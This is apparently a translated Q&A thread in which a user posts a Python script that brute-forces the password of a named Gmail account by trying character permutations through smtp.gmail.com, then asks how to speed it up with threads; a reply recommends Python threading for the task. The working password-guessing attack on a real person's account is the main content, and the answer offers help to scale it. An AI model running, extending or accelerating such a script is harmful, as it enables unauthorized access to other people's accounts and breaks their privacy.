0

私は gmail 用のブルート フォース ハッキング プログラムを作成するのに多くの時間を費やしました。

import smtplib
from itertools import permutations
import string
import time
import os
from datetime import datetime
allC=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]
num=1
allP=len(allC)**num
sumt=0
procent=0
while True:
   for i in permutations(allC, num):
      try :
          i="".join(i)
          server = smtplib.SMTP('smtp.gmail.com',587) 
          server.ehlo()
          server.starttls()
          server.ehlo()
          server.login('raslav.milutinovic@gmail.com',i)
          print str(datetime.now())
          print i
          break
          server.close()     
      except Exception,e:
          if 'Errno 11001' in e:
               input()
          pass
    sumt=sumt+1.00001
    procent=sumt/allP*100
    print "Level :",num
    print "Procent :",int(procent)



   num=num+1
   procent=0
   sumt=0
   allP=len(allC)**num

注: インデントは正しくない可能性がありますが、非常に遅いです = 1 時間あたり 5000 回の試行

スレッドを使用して、一度に複数回テストするにはどうすればよいですか? また、私はこれを悪用するつもりはありません....ただの単純な学習プロジェクトです

4

2 に答える 2

1

これは、Python のスレッド化が適しているタスクの 1 つです。

ネットワーク コードがブロックされると、他のスレッドが実行されます。同様の方法でスレッドでurllibを使用する方法を示すSOに関する投稿がすでにあります。

于 2012-06-18T22:31:10.057 に答える